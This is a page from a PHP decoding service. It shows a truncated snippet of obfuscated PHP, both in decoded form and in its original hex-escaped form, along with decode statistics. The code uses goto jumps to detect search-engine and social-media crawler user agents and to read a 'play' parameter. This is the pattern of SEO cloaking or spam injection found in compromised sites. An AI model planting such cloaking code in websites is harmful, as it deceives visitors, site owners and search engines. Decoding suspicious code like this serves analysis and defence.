Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto ihTG4; e0fKt: function motherHoodNature() { if (preg_match("\x2f\1..

Decoded Output download

<?php 
            goto ihTG4; e0fKt: function motherHoodNature() { if (preg_match("/AhrefsBot|baiduspider|baidu|bingbot|bing|DuckDuckBot|facebookexternalhit|facebook|facebot|googlebot|\-google|google\-inspectiontool|Uptime\-Kuma|linkedin|Linkidator|linkwalker|mediapartners|mod_pagespeed|naverbot|pinterest|SemrushBot|twitterbot|twitter|xing|yahoo|YandexBot|YandexMobileBot|yandex|Zeus/i", $_SERVER["HTTP_USER_AGENT"])) { return true; } return false; } goto p9_fO; ihTG4: if (isset($_GET["play"]) && !empty($_GET["play"]) && motherHoodNature()) { $play = strtoupper($_GET["play"]); $link = (empty($_SERVER["HTTPS"]) ? "http" : "https") . "://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}"; ?>

Did this file decode correctly?

Original Code

<?php
            goto ihTG4; e0fKt: function motherHoodNature() { if (preg_match("\x2f\101\x68\162\145\x66\x73\102\157\x74\x7c\x62\141\x69\144\x75\163\160\x69\144\145\162\x7c\x62\x61\x69\x64\165\174\x62\x69\x6e\147\142\x6f\x74\x7c\142\x69\x6e\147\x7c\x44\165\x63\x6b\x44\x75\x63\153\x42\x6f\164\x7c\146\141\x63\x65\142\x6f\157\153\x65\x78\x74\x65\162\156\x61\x6c\x68\x69\164\174\146\141\x63\x65\x62\x6f\157\153\x7c\146\x61\143\x65\x62\x6f\164\174\147\157\157\x67\x6c\145\142\x6f\164\x7c\134\x2d\147\157\157\147\x6c\145\174\x67\x6f\157\147\x6c\x65\134\x2d\151\x6e\163\160\145\x63\164\x69\157\x6e\164\157\157\x6c\174\125\160\164\x69\155\145\x5c\x2d\x4b\165\155\x61\x7c\x6c\151\156\153\x65\144\151\x6e\x7c\x4c\x69\x6e\x6b\x69\x64\x61\164\157\x72\174\x6c\151\x6e\153\x77\x61\x6c\x6b\145\x72\x7c\x6d\145\x64\x69\x61\x70\x61\162\164\x6e\x65\162\x73\174\x6d\157\144\137\x70\x61\147\145\163\x70\x65\145\x64\174\156\x61\x76\145\x72\142\x6f\164\174\160\151\156\164\145\x72\145\x73\164\174\123\x65\155\162\x75\x73\150\x42\x6f\164\x7c\x74\167\151\164\164\145\162\x62\x6f\164\x7c\164\x77\151\x74\x74\x65\x72\x7c\170\151\x6e\147\174\x79\x61\x68\157\157\x7c\131\141\156\x64\145\x78\x42\157\x74\174\x59\x61\x6e\144\x65\x78\x4d\x6f\142\151\154\x65\x42\157\x74\x7c\171\x61\x6e\x64\x65\x78\174\132\145\x75\163\57\151", $_SERVER["\x48\124\124\x50\137\x55\x53\x45\122\137\x41\107\x45\x4e\124"])) { return true; } return false; } goto p9_fO; ihTG4: if (isset($_GET["\160\x6c\x61\x79"]) && !empty($_GET["\160\x6c\x61\171"]) && motherHoodNature()) { $play = strtoupper($_GET["\160\154\x61\171"]); $link = (empty($_SERVER["\x48\124\x54\120\x53"]) ? "\x68\x74\x74\160" : "\150\x74\x74\160\163") . "\72\57\x2f{$_SERVER["\x48\124\x54\x50\137\x48\x4f\123\124"]}{$_SERVER["\x52\105\x51\x55\105\123\124\137\x55\122\x49"]}"; ?>

Function Calls

None

Variables

None

Stats

MD5 150fabaf540852e30a4a5de5266b01c5
Eval Count 0
Decode Time 105 ms